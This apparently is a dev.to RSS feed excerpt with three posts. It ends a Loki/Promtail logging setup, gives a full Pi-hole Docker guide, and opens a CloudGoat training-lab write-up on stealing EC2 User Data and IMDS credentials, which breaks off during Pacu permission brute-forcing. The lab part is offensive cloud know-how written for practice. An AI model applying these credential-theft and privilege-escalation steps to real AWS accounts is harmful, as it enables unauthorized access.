&lt;p&gt;On Ubuntu, the systemd journal is stored at &lt;code&gt;/var/log/journal&lt;/code&gt; by default (persistent storage), not &lt;code&gt;/run/log/journal&lt;/code&gt; (which is volatile/in-memory). The volume mount maps the host's &lt;code&gt;/var/log/journal&lt;/code&gt; to &lt;code&gt;/run/log/journal&lt;/code&gt; inside the container, which is where Promtail's config expects to find it.&lt;/p&gt;

&lt;h3&gt;
  
  
  Permissions
&lt;/h3&gt;

&lt;p&gt;The Promtail container needs to run as &lt;code&gt;root&lt;/code&gt; to read the journal files, which are owned by &lt;code&gt;root:systemd-journal&lt;/code&gt;. Additionally, the &lt;code&gt;/etc/machine-id&lt;/code&gt; file must be mounted — the journal reader uses it to identify and open the correct journal directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Loki Port Binding
&lt;/h3&gt;

&lt;p&gt;Following the same pattern as all my other services, Loki's port is bound to &lt;code&gt;127.0.0.1:3100&lt;/code&gt; so it's only accessible from localhost and proxied through Nginx if needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  📊 Grafana Datasource
&lt;/h2&gt;

&lt;p&gt;To make Loki available in Grafana without manual configuration, I added it to my existing datasource provisioning file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;

&lt;span class="na"&gt;datasources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prometheus&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;prometheus&lt;/span&gt;
    &lt;span class="na"&gt;access&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;proxy&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://prometheus:9090&lt;/span&gt;
    &lt;span class="na"&gt;isDefault&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Loki&lt;/span&gt;
    &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;loki&lt;/span&gt;
    &lt;span class="na"&gt;access&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;proxy&lt;/span&gt;
    &lt;span class="na"&gt;url&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http://loki:3100&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After restarting Grafana, Loki shows up as a datasource automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔍 Querying Logs
&lt;/h2&gt;

&lt;p&gt;With everything deployed, I can now query logs in Grafana's &lt;strong&gt;Explore&lt;/strong&gt; view by selecting the Loki datasource. Loki uses &lt;a href="https://grafana.com/docs/loki/latest/query/log_queries/" rel="noopener noreferrer"&gt;LogQL&lt;/a&gt; as its query language. Here are some examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# All logs from a specific container
{container="/jellyfin"}

# All system logs
{job="system"}

# SSH service logs
{job="system", unit="ssh.service"}

# Nginx logs
{job="system", unit="nginx.service"}

# Search for errors across all containers
{container=~".+"} |= "error"

# Samba logs
{job="system", unit="smbd.service"}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;One thing to keep in mind: Grafana's label dropdown in the Explore view only shows label values that exist within the selected time range. If a container hasn't produced any logs in the time window you're looking at, it won't appear in the list. This doesn't mean anything is broken — just widen the time range.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔒 Security
&lt;/h2&gt;

&lt;p&gt;A quick note on security, since we're now aggregating system logs in a centralized location. The logs may contain usernames, IP addresses, service names, and error details. They do not contain passwords or secrets — systemd journal doesn't log those unless a service explicitly prints them to stdout.&lt;/p&gt;

&lt;p&gt;The setup is secured by the same layers as the rest of the monitoring stack: Loki is bound to &lt;code&gt;127.0.0.1&lt;/code&gt; (not exposed to the network), Grafana requires authentication, and UFW blocks all inbound traffic except SSH, SMB, and Nginx. For a home lab behind a firewall, this is a reasonable setup.&lt;/p&gt;

&lt;h2&gt;
  
  
  🎉 Outcome
&lt;/h2&gt;

&lt;p&gt;With Loki and Promtail added to the stack, I now have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Container logs&lt;/strong&gt; — every Docker container's stdout/stderr is automatically collected and queryable in Grafana, with no per-container configuration needed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;System logs&lt;/strong&gt; — SSH, Nginx, Samba, cron, and all other systemd services are captured from the journal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;15-day retention&lt;/strong&gt; — matching my Prometheus metrics retention, with automatic cleanup.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A single interface&lt;/strong&gt; — everything is accessible in Grafana, right next to my existing metrics dashboards.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No more SSH-ing into the server to run &lt;code&gt;docker logs&lt;/code&gt; or &lt;code&gt;journalctl&lt;/code&gt;. Noice! 🎉&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/16" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>docker</category>
      <category>containers</category>
      <category>homeserver</category>
    </item>
    <item>
      <title>🏗️ Building my home server P5: Network-wide ad blocking with Pi-hole</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:09:37 +0000</pubDate>
      <link>https://dev.to/denesbeck/building-my-home-server-p5-network-wide-ad-blocking-with-pi-hole-2290</link>
      <guid>https://dev.to/denesbeck/building-my-home-server-p5-network-wide-ad-blocking-with-pi-hole-2290</guid>
      <description>&lt;h1&gt;
  
  
  🏗️ Building my home server: Part 5
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Network-wide ad blocking with Pi-hole&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my previous blog post, I covered deploying containers, configuring UFW, and setting up Nginx as a reverse proxy for my services. In this post, I'm taking things a step further by adding network-wide ad blocking to my home lab using &lt;a href="https://pi-hole.net/" rel="noopener noreferrer"&gt;Pi-hole&lt;/a&gt;. Pi-hole is a DNS sinkhole that blocks ads and trackers at the network level, meaning every device on my local network benefits from it without needing any client-side software. It also comes with a slick web interface for monitoring DNS queries and managing blocklists. On top of that, I configured Pi-hole to handle local DNS resolution for all my home lab services, so I can access them by their subdomain names instead of remembering IP addresses and port numbers.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤔 Why Pi-hole?
&lt;/h2&gt;

&lt;p&gt;Up until this point, I had been relying on the &lt;code&gt;/etc/hosts&lt;/code&gt; file on each client device to resolve my &lt;code&gt;*.arcade-lab.io&lt;/code&gt; subdomains to the server's local IP. This worked, but it was tedious to maintain across multiple devices. Every time I added a new service, I had to update the hosts file on every laptop, phone, and tablet on my network.&lt;/p&gt;

&lt;p&gt;With Pi-hole acting as the DNS server for my local network, I can define all my local DNS records in one place. Point your device's DNS to the server, and it just works. The ad blocking is a nice bonus on top of that.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐧 Fixing the systemd-resolved Conflict
&lt;/h2&gt;

&lt;p&gt;On Ubuntu, the &lt;code&gt;systemd-resolved&lt;/code&gt; service runs a DNS stub listener on port 53 by default. Since Pi-hole needs to bind to port 53 for DNS resolution, these two services conflict with each other. The fix is straightforward: disable the stub listener.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Edit the resolved configuration file:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;vi /etc/systemd/resolved.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Find the line &lt;code&gt;#DNSStubListener=yes&lt;/code&gt; and change it to:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight systemd"&gt;&lt;code&gt;&lt;span class="nt"&gt;DNSStubListener&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;no
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Replace &lt;code&gt;/etc/resolv.conf&lt;/code&gt; with a symlink to the runtime version that uses your Netplan DNS settings:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo rm&lt;/span&gt; /etc/resolv.conf
&lt;span class="nb"&gt;sudo ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /run/systemd/resolve/resolv.conf /etc/resolv.conf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;Restart the service:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart systemd-resolved
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this, port 53 is free for Pi-hole to use.&lt;/p&gt;

&lt;h2&gt;
  
  
  🐳 Running Pi-hole in Docker
&lt;/h2&gt;

&lt;p&gt;Since all my other services run in Docker containers, Pi-hole was no exception. I followed the &lt;a href="https://github.com/pi-hole/docker-pi-hole" rel="noopener noreferrer"&gt;official Docker Pi-hole documentation&lt;/a&gt; to set things up. Here's what the container deployment looks like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; pihole &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 192.168.64.15:53:53/tcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 192.168.64.15:53:53/udp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt; 127.0.0.1:800:80/tcp &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;TZ&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;Europe/Budapest &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;FTLCONF_webserver_api_password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&amp;lt;your_password&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;FTLCONF_dns_listeningMode&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ALL &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="nv"&gt;FTLCONF_dns_upstreams&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"8.8.8.8;8.8.4.4"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-v&lt;/span&gt; /home/pihole/etc-pihole:/etc/pihole &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cap-add&lt;/span&gt; NET_BIND_SERVICE &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--restart&lt;/span&gt; unless-stopped &lt;span class="se"&gt;\&lt;/span&gt;
  pihole/pihole:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Port Bindings
&lt;/h3&gt;

&lt;p&gt;There are three port mappings here, and each one was a deliberate choice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;192.168.64.15:53:53/tcp&lt;/code&gt; and &lt;code&gt;192.168.64.15:53:53/udp&lt;/code&gt;&lt;/strong&gt;: DNS ports bound to the server's LAN IP. This is the key part — devices on the local network can point their DNS to &lt;code&gt;192.168.64.15&lt;/code&gt; and Pi-hole will handle their queries. I deliberately did not bind to &lt;code&gt;0.0.0.0&lt;/code&gt; to keep it as targeted as possible.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;127.0.0.1:800:80/tcp&lt;/code&gt;&lt;/strong&gt;: The Pi-hole web admin interface, bound to localhost only. This follows the same pattern I established in Part 4 — all web UIs are bound to &lt;code&gt;127.0.0.1&lt;/code&gt; and proxied through Nginx with SSL. Port 800 is used because port 80 is already taken by Nginx itself.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Why Not &lt;code&gt;0.0.0.0&lt;/code&gt; for DNS?
&lt;/h3&gt;

&lt;p&gt;As I discovered in Part 4, Docker bypasses UFW entirely by manipulating &lt;code&gt;iptables&lt;/code&gt; directly. When you bind a port to &lt;code&gt;0.0.0.0&lt;/code&gt;, it's accessible from everywhere regardless of your firewall rules. For HTTP services, I solved this by binding to &lt;code&gt;127.0.0.1&lt;/code&gt; and proxying through Nginx. But DNS traffic (port 53, UDP/TCP) can't be proxied through Nginx — it's not HTTP traffic, it operates at a completely different protocol layer. So binding to the specific LAN IP (&lt;code&gt;192.168.64.15&lt;/code&gt;) is the next best thing: it's reachable from the local network but not from every interface.&lt;/p&gt;

&lt;h3&gt;
  
  
  Environment Variables
&lt;/h3&gt;

&lt;p&gt;Pi-hole v6 introduced a new configuration system based on &lt;code&gt;pihole.toml&lt;/code&gt; and the &lt;code&gt;FTLCONF_&lt;/code&gt; environment variable prefix:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;FTLCONF_webserver_api_password&lt;/code&gt;&lt;/strong&gt;: Sets the web admin password. Note that in v6, settings configured via environment variables become read-only — you can't change them from the web UI afterward.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;FTLCONF_dns_listeningMode: ALL&lt;/code&gt;&lt;/strong&gt;: Required when running in Docker's default bridge network mode. Without this, Pi-hole would only listen for queries from the container's internal network.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;FTLCONF_dns_upstreams&lt;/code&gt;&lt;/strong&gt;: The upstream DNS servers Pi-hole forwards queries to. I'm using Google's &lt;code&gt;8.8.8.8&lt;/code&gt; and &lt;code&gt;8.8.4.4&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Volume and Capabilities
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;/etc/pihole&lt;/code&gt; volume persists Pi-hole's databases and configuration across container recreations. This is important because Pi-hole stores its blocklists, query logs, and settings here.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;NET_BIND_SERVICE&lt;/code&gt; is the only capability needed — it allows the process to bind to port 53. Other capabilities like &lt;code&gt;NET_ADMIN&lt;/code&gt; are only required if you're using Pi-hole as a DHCP server, which I'm not.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🌐 Local DNS Records
&lt;/h2&gt;

&lt;p&gt;This was the part I was most excited about. Instead of maintaining &lt;code&gt;/etc/hosts&lt;/code&gt; files on every device, I can now define all my local DNS records in Pi-hole.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pi-hole v6 and &lt;code&gt;dns.hosts&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;If you've used Pi-hole v5 before, you might remember the &lt;code&gt;custom.list&lt;/code&gt; file for local DNS records. In v6, this was replaced entirely. Local DNS records are now stored in Pi-hole's embedded database and managed via the &lt;code&gt;pihole-FTL --config&lt;/code&gt; CLI or the API.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;dns.hosts&lt;/code&gt; configuration key accepts a JSON array of &lt;code&gt;"IP DOMAIN"&lt;/code&gt; strings:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec &lt;/span&gt;pihole pihole-FTL &lt;span class="nt"&gt;--config&lt;/span&gt; dns.hosts &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s1"&gt;'["192.168.64.15 home.arcade-lab.io", "192.168.64.15 portainer.arcade-lab.io", "192.168.64.15 grafana.arcade-lab.io", "192.168.64.15 prometheus.arcade-lab.io", "192.168.64.15 transmission.arcade-lab.io", "192.168.64.15 filebrowser.arcade-lab.io", "192.168.64.15 jellyfin.arcade-lab.io", "192.168.64.15 pi-hole.arcade-lab.io"]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After running this command, all my &lt;code&gt;*.arcade-lab.io&lt;/code&gt; subdomains resolve to the server's IP. Any device on my network that uses Pi-hole as its DNS server can now access:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;https://portainer.arcade-lab.io&lt;/code&gt; — Container management&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://grafana.arcade-lab.io&lt;/code&gt; — Monitoring dashboards&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://prometheus.arcade-lab.io&lt;/code&gt; — Metrics&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://transmission.arcade-lab.io&lt;/code&gt; — BitTorrent client&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://filebrowser.arcade-lab.io&lt;/code&gt; — File browser&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://jellyfin.arcade-lab.io&lt;/code&gt; — Media streaming&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;https://pi-hole.arcade-lab.io&lt;/code&gt; — Pi-hole admin itself&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No more editing hosts files on every device. Add a new service, update the DNS records in one place, and every device on the network picks it up automatically.&lt;/p&gt;

&lt;h2&gt;
  
  
  🤖 Automating with Ansible
&lt;/h2&gt;

&lt;p&gt;As with everything else in my home lab, I automated the entire Pi-hole setup with Ansible. The playbook handles all the steps described above: disabling the systemd-resolved stub listener, deploying the container, and configuring local DNS records via the Pi-hole CLI. I also externalized all the configuration into a separate variables file, keeping things consistent with how I manage my other services.&lt;/p&gt;

&lt;p&gt;The local DNS records are defined as a simple list in the variables file:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;pihole_local_dns_records&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;home.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;portainer.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;grafana.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;prometheus.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;transmission.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;filebrowser.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jellyfin.arcade-lab.io&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;domain&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;pi-hole.arcade-lab.io&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The playbook builds this list into a JSON array at runtime and compares it against the existing records in Pi-hole. Records are only updated when they differ from the desired state, making the playbook fully idempotent — I can run it as many times as I want without side effects.&lt;/p&gt;

&lt;h2&gt;
  
  
  🔧 Connecting Devices
&lt;/h2&gt;

&lt;p&gt;The last step is telling devices on the network to use Pi-hole for DNS. The easiest way is to configure your router's DHCP settings to hand out &lt;code&gt;192.168.64.15&lt;/code&gt; as the primary DNS server. That way, every device that connects to the network automatically uses Pi-hole.&lt;/p&gt;

&lt;p&gt;Alternatively, you can configure DNS on individual devices:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;macOS&lt;/strong&gt;: System Settings → Wi-Fi → Details → DNS → set &lt;code&gt;192.168.64.15&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;iOS&lt;/strong&gt;: Settings → Wi-Fi → (i) → Configure DNS → Manual → &lt;code&gt;192.168.64.15&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux&lt;/strong&gt;: Edit your Netplan or &lt;code&gt;/etc/resolv.conf&lt;/code&gt; to set &lt;code&gt;nameserver 192.168.64.15&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Windows&lt;/strong&gt;: Network adapter settings → IPv4 → Preferred DNS server → &lt;code&gt;192.168.64.15&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  🎉 Outcome
&lt;/h2&gt;

&lt;p&gt;With Pi-hole running, I now have:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Network-wide ad blocking&lt;/strong&gt; — every device on my network benefits from blocked ads and trackers without installing anything.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Centralized local DNS&lt;/strong&gt; — all my &lt;code&gt;*.arcade-lab.io&lt;/code&gt; subdomains resolve correctly from any device, managed in one place.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A nice dashboard&lt;/strong&gt; — the Pi-hole web interface at &lt;code&gt;https://pi-hole.arcade-lab.io&lt;/code&gt; shows me exactly what's happening on my network: how many queries are being made, what's being blocked, and which domains are the most popular.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Noice! 🎉&lt;/p&gt;

&lt;p&gt;You can also read this post on &lt;a href="https://arcade-lab.io/blog/15" rel="noopener noreferrer"&gt;my portfolio page&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>ubuntu</category>
      <category>docker</category>
      <category>ufw</category>
    </item>
    <item>
      <title>🥷 CloudGoat: Data Secrets: Write-up: Exploiting EC2 User Data and IMDS to escalate privileges</title>
      <dc:creator>denesbeck</dc:creator>
      <pubDate>Mon, 16 Mar 2026 10:09:33 +0000</pubDate>
      <link>https://dev.to/denesbeck/cloudgoat-data-secrets-write-up-exploiting-ec2-user-data-and-imds-to-escalate-privileges-4c27</link>
      <guid>https://dev.to/denesbeck/cloudgoat-data-secrets-write-up-exploiting-ec2-user-data-and-imds-to-escalate-privileges-4c27</guid>
      <description>&lt;h1&gt;
  
  
  🥷 CloudGoat: Data Secrets
&lt;/h1&gt;

&lt;p&gt;&lt;em&gt;Write-up: Exploiting EC2 User Data and IMDS to escalate privileges&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  🧭 Overview
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt; &lt;code&gt;data_secrets&lt;/code&gt; \&lt;br&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/cloudgoat" rel="noopener noreferrer"&gt;CloudGoat (Rhino Security Labs)&lt;/a&gt; \&lt;br&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;a href="https://github.com/RhinoSecurityLabs/pacu" rel="noopener noreferrer"&gt;Pacu&lt;/a&gt; + AWS CLI + SSH \&lt;br&gt;
&lt;strong&gt;Objective:&lt;/strong&gt; Steal credentials through EC2 User Data, leverage IMDS to escalate, enumerate Lambda functions, and retrieve the flag from Secrets Manager.&lt;/p&gt;
&lt;h2&gt;
  
  
  ⚔️ Attack Path Summary
&lt;/h2&gt;

&lt;p&gt;Limited User → EC2 Enum → User Data Leak → SSH Access → IMDS Token Theft → Lambda Enum → DB Credentials → Secrets Manager → Flag&lt;/p&gt;
&lt;h2&gt;
  
  
  🔑 Phase 1: Initial Access
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Configure Profile
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws configure &lt;span class="nt"&gt;--profile&lt;/span&gt; data_secrets
&lt;span class="c"&gt;# Access Key: AKIA****************&lt;/span&gt;
&lt;span class="c"&gt;# Secret Key: dHQo/hANNyGHxSCBhOmN********************&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Validate Credentials
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws sts get-caller-identity &lt;span class="nt"&gt;--profile&lt;/span&gt; data_secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UserId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"AIDA****************"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Account"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"7912********"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Arn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:iam::7912********:user/cg-start-user-cgido7xwddyilh"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  🔎 Phase 2: IAM Enumeration
&lt;/h2&gt;
&lt;h4&gt;
  
  
  Launch Pacu and Import Keys
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pacu
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;import_keys data_secrets
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h4&gt;
  
  
  Enumerate Permissions
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;Pacu &amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;run iam__bruteforce_permissions &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;[iam__bruteforce_permissions] Enumerated IAM Permissions:
[iam__bruteforce_permissions]   ec2.describe_instances() worked!
[iam__bruteforce_permissions]   ec2.describe_tags() worked!
[iam__bruteforce_permissions]   dynamodb.describe_endpoints() worked!
[iam__bruteforce_permissions]   sts.get_session_token() worked!
[iam__bruteforce_permissions]   sts.get_caller_identity() worked!

